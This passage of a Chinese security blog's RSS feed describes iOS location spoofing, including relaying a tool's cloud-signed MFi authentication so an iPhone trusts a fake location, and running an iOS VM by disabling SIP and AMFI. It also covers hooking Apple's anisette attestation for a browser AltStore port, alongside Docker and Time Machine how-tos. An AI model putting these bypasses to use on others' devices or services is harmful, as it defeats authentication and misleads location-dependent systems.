上下文内写入原语的情况下修改它们。关于它们的好博客文章可以在这里、这里和这里找到。</p><h3 id="54-shen-me-shi-puaf">5.4. 什么是 pUAF</h3><p>pUAF 这个术语最初由 felix-pb 在他的 kfd 文章中创造。与虚拟地址被重用的常规 UAF 不同，物理 UAF（pUAF）描述了一种场景，其中由于 vm 子系统内部的漏洞，支持映射的物理页被释放，而（虚拟）映射仍然存在。这意味着映射的虚拟地址仍然可以用于访问内存，但它现在将指向在这些物理页上分配的任何新数据。这是一个非常强大的原语，因为它允许攻击者简单地喷射他们希望修改的内核结构，检测它们出现在 pUAF 映射上，然后直接从用户态修改它们。</p><h2 id="6-jie-yu">6. 结语</h2><p>我希望你喜欢这篇阅读。感谢所有在捕获、分析、理解和校对方面帮助我的人！</p><p>如果你有任何问题或改进建议，你可以在 Twitter 上联系我或通过电子邮件。</p><p>下次见 ~lailo</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/coruna-exploit-analysis.png" />
        </item>
        <item>
            <title><![CDATA[修改ios定位的几种方法]]></title>
            <link>https://nvme0n1p.dev/posts/ios-location-modify</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/ios-location-modify</guid>
            <pubDate>Wed, 22 Apr 2026 13:13:56 GMT</pubDate>
            <description><![CDATA[居然能这么天才啊]]></description>
            <content:encoded><![CDATA[<p>这两天在研究还能用webmux做多少事情。于是顺理成章的想到了改定位。经过一番调研知道有anygo/爱思提供了修改定位的功能。</p><h2 id="simulate-location">Simulate Location</h2><p>经过搜索发现爱思使用的是标准做法，苹果的官方修改方式：使用simulate location的lockdown服务可以修改模拟地址，但是这样修改能够被程序通过一个关键字（？具体是啥忘了，但是能够知道这个address是模拟的）</p><p>于是咱尝试在webmux里实现了一下。具体需要做什么：</p><p>第0步是打开开发者模式。</p><h3 id="gua-zai-ddi">挂载DDI</h3><p>首先是simulate location是一个”developer功能”，所以需要用一些办法挂载上Developer Disk Image。它提供了一系列的工具，包括debugserver等开发者需要用到的东西。</p><h4 id="before-170">Before 17.0</h4><p>在17.0之前，挂载DDI只需要发一个lockdown请求，然后把DDI和signature一起丢进去就好了。</p><h4 id="170">17.0+</h4><p>17.0之后，苹果<strong>收紧了</strong>挂载ddi的方式，大概操作流程变成了：</p><ol><li>请求<strong>挂载设备</strong>SEP开一个nonce：（nonce是根据ddi特征（hash或者其他的东西）生成的一个key）</li><li><strong>主机</strong>把这个nonce发送到苹果的服务器，返回一个ticket。</li><li>主机把ticket和镜像发回给设备。</li><li>挂载成功</li></ol><blockquote>💡 </blockquote><blockquote>这样做的原因是之前的方式导致了一些奇怪的安全问题。</blockquote><p>于是挂载之后我们就能愉快的尝试发请求了…</p><p>这里同样分为三个版本时期</p><h4 id="before-170-1">Before 17.0</h4><p>在17.0之前，location simulation是暴露在lockdownd中可以启动的<code>com.apple.dt.simulatelocation</code>。所以我们可以直接很方便简单的直接启动这个service，就可以愉快的发送经纬度坐标了。</p><h4 id="after-170">After 17.0</h4><p>这个时候苹果想了个奇怪的RemoteXPC方法用来调用位置修改：</p><p>需要启动”rsd”隧道才能使用。这里我们知道rsd隧道其实就是在之前usbmux基础上增加了一层ipv6封装。所以在web端我直接偷懒用了lwip开源版本，开启ipv6选项直接编译成wasm，美滋滋。</p><p>接下来是发XPC请求给这个service：<code>com.apple.instruments.server.services.LocationSimulation</code> 直接调用的是objc方法，比之前版本好一些，有两个方法可以调用了：<code>simulateLocationWithLatitude:longitude:</code>和<code>stopLocationSimulation</code> </p><p>但是17.0-17.4和17.4+使用的rsd方式不同，所以应该算是两种不同做法。</p><p>下面是一个成功的瞬移示例（</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/2e32e81d00c10295086682c4a308574e.webp" width="1686" height="1044" /></figure><h2 id="iap2-fake-location">iAP2 fake location</h2><p>这种我觉得好天才啊，是看了anygo的代码才知道这种做法的。该他收90刀终身。</p><p>我们知道，苹果/现代设备获取定位的方式是基站+wifi+周围设备+gps，gps是最少用到的。绝大部分反馈来自wifi/周围设备。并且wifi/基站获取到的数据不被认为是完全真实的。</p><p>于是我们可以假装成周围设备，给iphone发送信息！</p><p>由于iphone更信任MFI认证设备的location，所以可以有这样一套流程：</p><ol><li>前置配对操作<strong>RFCOMM</strong></li><li>iphone给我们的设备发送一个nonce</li><li>我们的设备（通过某种方法通过nonce认证）一般来说是MFI芯片+证书处理返回去一个response</li><li>建立一个可靠信道（类似tcp，有ack确认帧）</li><li>发送位置信息</li><li>iphone修改自己的位置信息！</li></ol><p>我认为AnyGo做的最天才的一件事是第二步！！！</p><p>在第二步时，它这样进行了一套操作：</p><ol><li>发送enqueue：（用户邮箱，key，uuid）到<strong>云服务器</strong>，获取了芯片信息等。</li><li>发送certify：（刚刚的uuid，同样的email，key，以及签名信息，芯片信息），直接获取到响应的response，发回给设备！</li></ol><p>这样一来，设备信任了我们的信源是一个MFI认证的苹果设备，从而信任我们共享的地址。从而能够优雅的修改<strong>真实地址</strong>，而不是模拟地址，从而能够打开我们需要的高血压功能。</p><p>这里还有一篇文章关于怎么获得iAP2的方法：</p><p><a href="https://wiomoc.de/misc/posts/mfi_iap.html">misc  - Exploring Apple&#39;s MFI protocol iAP2</a></p><p>也还是挺有趣的，以后有机会复现下！。</p><blockquote>💡 </blockquote><blockquote>实际上绝大部分<strong>全网首发</strong>的开启apple watch高血压检测功能的方法都是anygo，但是却没人知道原理，当然也没人关心就是了。</blockquote><h3 id="hou-ji">后记</h3><p>这个第二个方法感觉可以出一个硬件ctf题目啊（确信</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/shu-ma">数码</category>
            <category domain="https://nvme0n1p.dev/cats/security-tech">安全技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/ios-location-modify.png" />
        </item>
        <item>
            <title><![CDATA[杂交linux？]]></title>
            <link>https://nvme0n1p.dev/posts/mixed-linux</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/mixed-linux</guid>
            <pubDate>Sat, 11 Apr 2026 12:38:40 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>在推文中我提到了一嘴，研究apple music里提到的各种so，可以帮助我们获得最接近原生的登录方法。</p><p><a href="https://x.com/0x88FFA357/status/2042842471999377841" rel="nofollow noreferrer" target="_blank">Tweet: https://x.com/0x88FFA357/status/2042842471999377841</a></p><p>并且看到了这样一个<a href="https://github.com/WorldObservationLog/wrapper">wrapper</a>程序用来下载apple music。但是它用了两套二进制，一个放在外面不用ndk，纯glibc，另一个放在chroot里，ndk的实现用来适配android环境。这是必须的吗？</p><h3 id="from-scratch">FROM scratch</h3><p>显然不是，我们知道，docker实际上可以被理解成一个分层的沙盘。在Dockerfile构建时，每一个命令（RUN，COPY，..etc）都是一层，每层中保存了这一层被放进来的内容。这样的增量保存是Docker广受好评的原因。那么，最开始的系统镜像是怎么打包的呢？</p><p>答案就是本节标题`FROM scratch`,这里会给一个空白的沙盘，文件系统为空。所以我们只需要把wrapper/rootfs直接放进根目录，我们就不再需要一个单独的wrapper来启动chroot了。</p><pre><code class="language-docker" data-language="docker">FROM debian:bookworm-slim AS rootfs

ARG ROOTFS_ARCHIVE_URL=&#34;https://github.com/WorldObservationLog/wrapper/archive/refs/heads/main.tar.gz&#34;

RUN apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends ca-certificates curl tar \
    &amp;&amp; rm -rf /var/lib/apt/lists/* \
    &amp;&amp; mkdir -p /tmp/rootfs /out \
    &amp;&amp; curl -fsSL &#34;$ROOTFS_ARCHIVE_URL&#34; -o /tmp/rootfs/rootfs.tar.gz \
    &amp;&amp; tar -xzf /tmp/rootfs/rootfs.tar.gz -C /tmp/rootfs \
    &amp;&amp; src_dir=&#34;$(find /tmp/rootfs -mindepth 2 -maxdepth 2 -type d -name rootfs | head -n 1)&#34; \
    &amp;&amp; test -n &#34;$src_dir&#34; \
    &amp;&amp; cp -a &#34;$src_dir&#34; /out/rootfs

FROM scratch
COPY --from=rootfs /out/rootfs /</code></pre><p>这样就构造了一个“伪”android环境。于是我们写一个简单程序放进去就能用了！</p><p>但是这还不是我想要的效果。可以看到另一个程序‣中用到了mp4box这种重依赖glibc的程序。大家第一想法显然都应该是连接成static放到容器中就能用了。但是，能不能不这样呢？</p><h3 id="interpreterloader">INTERPRETER，LOADER</h3><p>这里是linux的另一个有意思的点。在启动linux程序时，走exec*的系统调用来启动。启动时，linux会检查程序的头标志符，如果存在<code>PT_INTERP</code>说明程序依赖动态加载的loader。在glibc环境下是<code>/lib64/ld-linux-x86-64.so.2</code>，在android上是<code>/system/bin/loader64</code>。内核会启动这个程序来进行依赖的加载。最后再运行程序。</p><p>所以在我们打ctf的时候会用到patchelf这个程序来修改程序头，让它使用我们期望的libc。</p><blockquote>💡 </blockquote><blockquote>不过patchelf是给nixos写的谁能想到…</blockquote><p>所以怎么让glibc和bionic libc共存呢？</p><p>实际上我们只需要把两边都loader和so文件都放进来到对应的位置，实际上直接运行就能运行了。位置</p><p>下面是我写的测试Dockerfile</p><pre><code class="language-docker" data-language="docker">FROM debian:bookworm-slim AS mp4box

ARG GPAC_APT_URI=&#34;https://dist.gpac.io/gpac/linux/debian&#34;
ARG GPAC_APT_COMPONENT=&#34;nightly&#34;

RUN apt-get update \
    &amp;&amp; set -eux \
    &amp;&amp; apt-get install -y --no-install-recommends \
        ca-certificates \
        curl \
        binutils \
    &amp;&amp; install -m 0755 -d /etc/apt/keyrings \
    &amp;&amp; curl -fsSL https://dist.gpac.io/gpac/linux/gpg.asc -o /etc/apt/keyrings/gpac.asc \
    &amp;&amp; chmod a+r /etc/apt/keyrings/gpac.asc \
    &amp;&amp; printf &#39;Types: deb\nURIs: %s\nSuites: %s\nComponents: %s\nSigned-By: /etc/apt/keyrings/gpac.asc\n&#39; \
        &#34;$GPAC_APT_URI&#34; \
        &#34;$(. /etc/os-release &amp;&amp; echo &#34;$VERSION_CODENAME&#34;)&#34; \
        &#34;$GPAC_APT_COMPONENT&#34; \
        &gt; /etc/apt/sources.list.d/gpac.sources \
    &amp;&amp; apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends gpac \
    &amp;&amp; rm -rf /var/lib/apt/lists/* \
    &amp;&amp; mp4box_path=&#34;$(command -v MP4Box || command -v mp4box)&#34; \
    &amp;&amp; test -x &#34;$mp4box_path&#34; \
    &amp;&amp; libgpac_path=&#34;$(find /usr/lib /lib -name &#39;libgpac.so*&#39; ! -name &#39;*.a&#39; | sort | head -n 1)&#34; \
    &amp;&amp; test -n &#34;$libgpac_path&#34; \
    &amp;&amp; test -e &#34;$libgpac_path&#34; \
    &amp;&amp; interp=&#34;$(readelf -l &#34;$mp4box_path&#34; | sed -n &#39;s/.*Requesting program interpreter: \(.*\)]/\1/p&#39;)&#34; \
    &amp;&amp; test -n &#34;$interp&#34; \
    &amp;&amp; module_paths=&#34;$(if test -d /usr/lib/gpac; then find /usr/lib/gpac -type f -name &#39;*.so&#39; | sort; fi)&#34; \
    &amp;&amp; deps=&#34;$( \
        { \
            ldd &#34;$mp4box_path&#34; &#34;$libgpac_path&#34;; \
            if test -n &#34;$module_paths&#34;; then ldd $module_paths; fi; \
        } | awk &#39; \
                /=&gt; \// { print $3 } \
                /^\// &amp;&amp; $1 !~ /:$/ { print $1 } \
            &#39; \
          | sort -u \
    )&#34; \
    &amp;&amp; install -d /out/usr/bin /out/usr/lib /out/lib64 /out/etc/ssl/certs \
    &amp;&amp; ln -s usr/lib /out/lib \
    &amp;&amp; cp -a &#34;$mp4box_path&#34; /out/usr/bin/MP4Box \
    &amp;&amp; if test -e /usr/bin/mp4box; then cp -a /usr/bin/mp4box /out/usr/bin/mp4box; fi \
    &amp;&amp; if test -d /usr/lib/gpac; then cp -a /usr/lib/gpac /out/usr/lib/gpac; fi \
    &amp;&amp; for dep in &#34;$interp&#34; &#34;$libgpac_path&#34; $deps; do \
        clean_dep=&#34;${dep%:}&#34;; \
        real=&#34;$(readlink -f &#34;$clean_dep&#34;)&#34;; \
        install -d &#34;/out$(dirname &#34;$real&#34;)&#34;; \
        cp -a &#34;$real&#34; &#34;/out$real&#34;; \
        if test -L &#34;$clean_dep&#34;; then \
            case &#34;$clean_dep&#34; in \
                /lib/*) \
                    link_path=&#34;/usr$clean_dep&#34;; \
                    ;; \
                *) \
                    link_path=&#34;$clean_dep&#34;; \
                    ;; \
            esac; \
            install -d &#34;/out$(dirname &#34;$link_path&#34;)&#34;; \
            cp -a &#34;$clean_dep&#34; &#34;/out$link_path&#34;; \
        fi; \
    done \
    &amp;&amp; for alt in \
        /etc/alternatives/libblas.so.3-x86_64-linux-gnu \
        /etc/alternatives/liblapack.so.3-x86_64-linux-gnu; do \
        if test -L &#34;$alt&#34;; then \
            alt_target=&#34;$(readlink &#34;$alt&#34;)&#34;; \
            install -d &#34;/out$(dirname &#34;$alt&#34;)&#34; &#34;/out$(dirname &#34;$alt_target&#34;)&#34;; \
            cp -a &#34;$alt&#34; &#34;/out$alt&#34;; \
            cp -a &#34;$alt_target&#34; &#34;/out$alt_target&#34;; \
        fi; \
    done \
    &amp;&amp; if test -f /etc/ssl/certs/ca-certificates.crt; then \
        cp -a /etc/ssl/certs/ca-certificates.crt /out/etc/ssl/certs/ca-certificates.crt; \
    fi

FROM scratch

COPY --from=mp4box /out/ /

ENTRYPOINT [&#34;/usr/bin/MP4Box&#34;]
CMD [&#34;-version&#34;]
</code></pre><p>经过测试这也能运行。</p><p>于是我们只需要把刚刚的两个结合到一起，就能获得glibc和bionic libc共存的程序。</p><p>细节代码见</p><p><a href="https://github.com/lbr77/apple-music-api/blob/main/Dockerfile" rel="nofollow noreferrer" target="_blank">Dockerfile</a></p><pre><code>FROM debian:bookworm-slim AS ffmpeg

ARG FFMPEG_STATIC_URL=&#34;https://johnvansickle.com/ffmpeg/releases/ffmpeg-release-amd64-static.tar.xz&#34;

RUN apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends ca-certificates curl xz-utils \
    &amp;&amp; rm -rf /var/lib/apt/lists/* \
    &amp;&amp; mkdir -p /opt/ffmpeg \
    &amp;&amp; curl -fsSL &#34;$FFMPEG_STATIC_URL&#34; -o /tmp/ffmpeg.tar.xz \
    &amp;&amp; tar -xJf /tmp/ffmpeg.tar.xz -C /opt/ffmpeg --strip-components=1 \
    &amp;&amp; test -x /opt/ffmpeg/ffmpeg \
    &amp;&amp; test -x /opt/ffmpeg/ffprobe \
    &amp;&amp; rm -f /tmp/ffmpeg.tar.xz

FROM node:22-bookworm AS frontend-builder

WORKDIR /app/frontend
COPY frontend/package.json frontend/package-lock.json ./
RUN npm ci
COPY frontend ./
RUN npm run build

FROM rust:bookworm AS builder

ARG ANDROID_NDK_URL=&#34;https://dl.google.com/android/repository/android-ndk-r25c-linux.zip&#34;
ARG GIT_COMMIT

RUN apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends ca-certificates curl unzip \
    &amp;&amp; rm -rf /var/lib/apt/lists/* \
    &amp;&amp; mkdir -p /opt/android-ndk \
    &amp;&amp; curl -fsSL &#34;$ANDROID_NDK_URL&#34; -o /tmp/android-ndk.zip \
    &amp;&amp; unzip -q /tmp/android-ndk.zip -d /opt/android-ndk \
    &amp;&amp; ndk_dir=&#34;$(find /opt/android-ndk -mindepth 1 -maxdepth 1 -type d | head -n 1)&#34; \
    &amp;&amp; mv &#34;$ndk_dir&#34; /opt/android-ndk/current \
    &amp;&amp; rm -f /tmp/android-ndk.zip

ENV ANDROID_NDK_HOME=/opt/android-ndk/current
ENV GIT_COMMIT=${GIT_COMMIT}
RUN cargo install --locked cargo-ndk
RUN rustup target add x86_64-linux-android

WORKDIR /app
COPY . .
COPY --from=frontend-builder /app/frontend/dist /app/frontend/dist
RUN cargo ndk -t x86_64 build --release --bin main

FROM debian:bookworm-slim AS rootfs

ARG ROOTFS_ARCHIVE_URL=&#34;https://github.com/WorldObservationLog/wrapper/archive/refs/heads/main.tar.gz&#34;

# Android&#39;s dynamic loader must stay executable. Containerd refuses to start
# `/main` when the archived rootfs ships `system/bin/linker64` without the
# execute bit.
RUN apt-get update \
    &amp;&amp; apt-get install -y --no-install-recommends...</code></pre><p>这就是神奇的linux魅力啊，哪怕最后删到一个文件没有里它还是能正常运行的。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/shu-ma">数码</category>
            <category domain="https://nvme0n1p.dev/cats/security-tech">安全技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/mixed-linux.png" />
        </item>
        <item>
            <title><![CDATA[在linux上管理并查看timemachine备份]]></title>
            <link>https://nvme0n1p.dev/posts/apfs-sparsebundle-linux</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/apfs-sparsebundle-linux</guid>
            <pubDate>Thu, 02 Apr 2026 03:14:18 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>好久之后写的第一篇文章。</p><p>mac空间满了于是直接格式化掉了重置了，文件备份还在nas里，于是想直接给取出来。</p><h3 id="0x01-bian-yi-an-zhuang">0x01 编译安装</h3><p>这里我们要用到两个binary，分别是‣，用来把sparsebundle挂在成一个dmg，以及‣，用来把dmg里的APFS备份卷挂载出来。</p><p>但是似乎这两个都没有现成的包可以用，于是我们需要手动安装。</p><p>首先安装依赖</p><pre><code class="language-bash" data-language="bash">sudo apt update
sudo apt-get install pkg-config libfuse-dev fuse # for sparsebundle-fs
sudo apt install fuse libfuse3-dev bzip2 libbz2-dev cmake gcc-c++ git libattr1-dev zlib1g-dev # for apfs-fuse</code></pre><p>然后找源码/编译：</p><pre><code class="language-bash" data-language="bash">git clone --depth=1 https://github.com/torarnv/sparsebundlefs.git
cd sparsebundlefs
sudo make install
cd ..

git clone --depth=1 https://github.com/sgan81/apfs-fuse.git
cd apfs-fuse
git submodule init # ?这里是不是能直接用--recusive了？
git submodule update
mkdir build
cd build
cmake ..
sudo make install 
cd ..</code></pre><h3 id="0x02-gua-zai">0x02 挂载</h3><p>首先你需要找到nas上用来存放sparsebundle的地方，我用的是飞牛所以是在<code>/vol1/@timemachine</code> 下面。</p><pre><code class="language-bash" data-language="bash">mkdir -p &#34;mnt_sparsebundle&#34; &#34;mnt_apfs&#34;
sparsebundlefs /vol1/@timemachine/HUAWEI\ Matebook\ Pro.sparsebundle ./mnt_sparsebundle
ls -l mnt_sparsebundle</code></pre><p>这个时候能看到这里面有一个<code>sparsebundle.dmg</code> ，接下来用<code>apfs-fuse</code>来挂载<code>sparsebundle.dmg</code></p><pre><code class="language-bash" data-language="bash">apfs-fuse ./mnt_sparsebundle/sparsebundle.dmg ./mnt_apfs</code></pre><p>这个时候就能在./mnt_apfs/root下面看到</p><pre><code class="language-bash" data-language="bash">
- `2026-04-03-094221.previous`
- `2026-04-03-094221.backup`
- `backup_manifest.plist`</code></pre><p>这样的几个备份了，进去看看也能找到正确的文件。</p><h3 id="0x03-qie-huan-te-ding-kuai-zhao">0x03 切换特定快照</h3><p>其实也可以只挂在某一个快照。需要用apfsutil查看Snapshots。</p><pre><code class="language-bash" data-language="bash">apfs-fuse \
  -o snap=1769 \
  &#34;./mnt_sparsebundle/sparsebundle.dmg&#34; \
  &#34;./mnt_apfs&#34;</code></pre><p>最后找到文件，用rsync或者cp直接取出来就好。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/jiao-cheng">教程</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/apfs-sparsebundle-linux.png" />
        </item>
        <item>
            <title><![CDATA[在mac mini上运行官方提供的ios虚拟机？]]></title>
            <link>https://nvme0n1p.dev/posts/mac-and-ios-sim</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/mac-and-ios-sim</guid>
            <pubDate>Sat, 28 Feb 2026 14:16:13 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>提到ios虚拟机，想必有人会想到我在上一篇<a href="https://www.nvme0n1p.dev/blog/qemu-apple-silicon-startup">相关文章里的QEMUApplesilicon</a>。但是，正如文章里说到的——这个项目完全就是一个experimental的环境，几乎是不可用的状态。</p><p>但是今天我们不一样了！我们出息了！我们可以直接…在macOS上基于官方框架Virtualization.framework运行官方提供的Private Cloud Compute 系统….？那一天iOS和PCC都喝醉了….</p><p>美丽的误会起源于pcc的binary实际上是分发到macOS系统中…并且在系统中我们可以发现：</p><pre><code class="language-bash" data-language="bash">› /System/Library/SecurityResearch/usr/bin/pccvre
allow-research-guests is currently disabled; Please go to recovery and run &#39;csrutil allow-research-guests enable&#39;</code></pre><p>什么都关掉就好了！</p><h3 id="0x01-guan-diao-amfi-guan-diao-sip">0x01 关掉amfi，关掉sip。</h3><p>于是重启到恢复模式：</p><pre><code class="language-bash" data-language="bash">csrutil disable
csrutil allow-research-guests enable
sudo nvram boot-args=&#34;amfi_get_out_of_my_way=1 -v&#34;</code></pre><h3 id="0x02-chu-shi-hua">0x02 初始化</h3><p>参考砍砍的脚本直接运行就可以了。</p><pre><code class="language-bash" data-language="bash">git clone https://github.com/Lakr233/vphone-cli
cd vphone-cli


brew install keystone
make setup_libimobiledevice
make setup_venv
source .venv/bin/activate</code></pre><p>这里一定要用他的这个setup_venv来初始化python…不然你会手动设置keystone设置崩溃的。然后libimobiledevice里面的irecovery需要重新构建一份，不然无法识别。</p><h3 id="0x03-gou-jian-cli-fu-zhi-xi-tong-wen-jian">0x03 构建cli，复制系统文件</h3><p>砍砍重写了原始writeup的tart poc作为独立程序，所以需要构建一次。同样，我们需要用系统提供的SEP和一些其他固件。</p><pre><code class="language-bash" data-language="bash">make build
make vm_new</code></pre><h3 id="0x04-za-jiao-gu-jian">0x04 杂交固件。</h3><p>喝醉了的结果：pcc的kernel（xnu）+ ios的前端（swift）杂交成了一套新Manifest，可以被idevice系列使用。于是我们用</p><pre><code class="language-bash" data-language="bash">make fw_prepare
make fw_patch</code></pre><p>来杂交并patch掉一些检查。这里我不详细说明了，感兴趣可以去看white4ever的writeup。</p><h3 id="0x05-flash">0x05 flash！</h3><p>然后启动到dfu并fetch shsh blob，然后刷机。这是早期越狱常见操作了。</p><pre><code class="language-bash" data-language="bash">make boot_dfu

make restore_get_shsh
make restore</code></pre><p>这一步似乎没什么好讲的。</p><h3 id="0x06-ramdisk-ti-qian-an-zhuang-patch">0x06 ramdisk，提前安装patch</h3><p>我们需要走带有ssh的ramdisk启动来安装需要的工具，比如dropbear,trollvnc之类的…</p><pre><code class="language-bash" data-language="bash">make boot_dfu

make ramdisk_build
make ramdisk_send

iproxy 2222 22
make cfw_install</code></pre><h3 id="0x07-zheng-shi-qi-dong">0x07 正式启动！</h3><pre><code class="language-bash" data-language="bash">make boot</code></pre><p>这里很抽象的一点是，原来serial是可以输入东西的。。。</p><p>有个 bash#在serial的洪流里被淹没了。</p><p>但是你可以直接输入喔</p><pre><code class="language-bash" data-language="bash"># binaries are looking for each others via PATH so do not ignore this one
export PATH=&#39;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11:/usr/games:/iosbinpack64/usr/local/sbin:/iosbinpack64/usr/local/bin:/iosbinpack64/usr/sbin:/iosbinpack64/usr/bin:/iosbinpack64/sbin:/iosbinpack64/bin&#39;

# call with fullpath
/iosbinpack64/bin/mkdir -p /var/dropbear
/iosbinpack64/bin/cp /iosbinpack64/etc/profile /var/profile
/iosbinpack64/bin/cp /iosbinpack64/etc/motd /var/motd
shutdown -h now</code></pre><p>然后再启动一次，你就能在22222连上ssh，5901连上vnc。</p><p>嘛不过我听说他们在改gui连接了方式了，也许 你们不用vnc了（？</p><p>因为启动的时候自动连上了usb所以试了下用爱思助手装了个软件进去。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/92b2cd282d817a10d42caa7032ce5aa2.webp" width="1552" height="1024" /></figure><p>计划通。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <category domain="https://nvme0n1p.dev/tags/jiao-cheng">教程</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/mac-and-ios-sim.png" />
        </item>
        <item>
            <title><![CDATA[Altstore-wasm移植记录]]></title>
            <link>https://nvme0n1p.dev/posts/altstore-to-frontend</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/altstore-to-frontend</guid>
            <pubDate>Wed, 25 Feb 2026 02:35:51 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>最近刷到砍砍开源的 AssppWeb，里面用 libcurl.js 把 HTTPS fetch 加密再转发，这样ZeroTrust的设计真是很有意思啊。</p><p>那既然这样，AltStore 能不能也丢到浏览器里跑？这样可是解决了一个大难题啊</p><p>简单查了一圈，发现真正难的是 “anisette” 凭据生成。</p><p>anisette是什么？苹果为了验证请求发送者是一个真实的系统，在各种平台上封装了一系列库，使用系统调用来判断系统真实性，并生成一个otp用来发送。</p><p>哼哼，那这就到我们网安小子最喜欢的地方了，你用系统调用那我反过来hook掉你的调用不就好了～</p><p>普遍的anisette做法是从 Apple Music 里抠两个 so，然后本地加载+hook一些函数来做票据。问题来了：浏览器端怎么搞？</p><p>这时候就想到 unicorn。翻 issue 发现官方还没做 wasm 支持（说白了就是 qemu‑tci 没接上），但某个 PR 的评论里有人提到这个分支：</p><p><a href="https://github.com/petabyt/unicorn/tree/tci-emscripten，那就它了。">https://github.com/petabyt/unicorn/tree/tci-emscripten</a></p><p>那看起来是有人实现过了！</p><p>起初还想用 unicorn.js 的维护版，结果 SIMD 指令不全、版本又老，直接劝退。</p><p>折腾到后面我发现：JS 对接 C 原生真是邪门，错误一堆一堆，于是决定——全部用 Rust 写，暴露几个简单又不易出错的接口。底层逻辑参考了 pyprovision-uc。（还真是个抖M呢）</p><p>Rust + wasm 移植的第一步很朴素：先写一个正常的库，example 里调用一下，确认本地能跑通。事实证明，传说中的“AI 会写 Rust”是真的。</p><p>到了 “Rust + unicorn + wasm”，主要卡在两个点：</p><ol><li>unicorn 默认 Rust binding 会把本地的 libunicorn.o 打包进去，但我们要的是 wasm，ELF 的 o 显然不适合。</li><li>unicorn 的 wasm 产物怎么打包？比如 libunicorn.a？</li></ol><p>最后发现 emscripten 给了 emcmake 这种工具，能把中间产物转成 wasm 虚拟机能用的东西。并且看上去完全兼容原来的编译+链接方法</p><p>大致这样配：</p><pre><code class="language-python" data-language="python">emcmake cmake .. \
  -DCMAKE_BUILD_TYPE=Release \
  -DBUILD_SHARED_LIBS=OFF \
  -DUNICORN_BUILD_TESTS=OFF \
  -DUNICORN_INSTALL=OFF \
  -DUNICORN_LEGACY_STATIC_ARCHIVE=ON \
  -DUNICORN_INTERPRETER=ON \
  -DUNICORN_ARCH=&#34;arm;aarch64&#34; \
  -DCMAKE_C_COMPILER=emcc</code></pre><p>但 CMakeLists 并没有支持 emcc，需要补 patch：</p><pre><code class="language-diff" data-language="diff">diff --git a/CMakeLists.txt b/CMakeLists.txt
index e6b60aa8..03501788 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -284,6 +284,11 @@ else()
                 set(UNICORN_TARGET_ARCH &#34;loongarch64&#34;)
                 break()
             endif()
+            string(FIND ${UC_COMPILER_MACRO} &#34;__wasm__&#34; UC_RET)
+            if (${UC_RET} GREATER &#34;0&#34;)
+                set(UNICORN_TARGET_ARCH &#34;tci&#34;)
+                break()
+            endif()
             message(FATAL_ERROR &#34;Unknown host compiler: ${CMAKE_C_COMPILER}.&#34;)
         endwhile(TRUE)
     endif()
@@ -395,10 +400,15 @@ else()
     else()
         set(UNICORN_EXECUTION_MODE &#34;--disable-interpreter&#34;)
     endif()
+    if(EMSCRIPTEN)
+        set(EXTRA_EXTRA_CFLAGS --cpu=i386 --disable-stack-protector)
+    endif()
+    set (EXTRA_CFLAGS &#34;${EXTRA_CFLAGS} -g&#34;)
     execute_process(COMMAND sh ${CMAKE_CURRENT_SOURCE_DIR}/qemu/configure
         --cc=${CMAKE_C_COMPILER}
         ${EXTRA_CFLAGS}
         ${TARGET_LIST}
+        ${EXTRA_EXTRA_CFLAGS}
         ${UNICORN_EXECUTION_MODE}
         WORKING_DIRECTORY ${CMAKE_BINARY_DIR}
     )
@@ -508,8 +518,8 @@ else()
         -D_GNU_SOURCE
         -D_FILE_OFFSET_BITS=64
         -D_LARGEFILE_SOURCE
-        -Wall
-        -fPIC
+        -Wall -O2
+        -fPIC -fpic -fvisibility=hidden
     )
     if (ATOMIC_LINKAGE_FIX)
         add_compile_options(</code></pre><p>qemu/configure 也得补一下：</p><pre><code class="language-diff" data-language="diff">
diff --git a/qemu/configure b/qemu/configure
index 30854676..378ffecb 100755
--- a/qemu/configure
+++ b/qemu/configure
@@ -5,6 +5,7 @@

 # Unset some variables known to interfere with behavior of common tools,
 # just as autoconf does.
+set -x
 CLICOLOR_FORCE= GREP_OPTIONS=
 unset CLICOLOR_FORCE GREP_OPTIONS

@@ -402,6 +403,8 @@ EOF

 if check_define __linux__ ; then
   targetos=&#34;Linux&#34;
+elif check_define __wasm__ ; then
+  targetos=&#39;Linux&#39;
 elif check_define _WIN32 ; then
   targetos=&#39;MINGW32&#39;
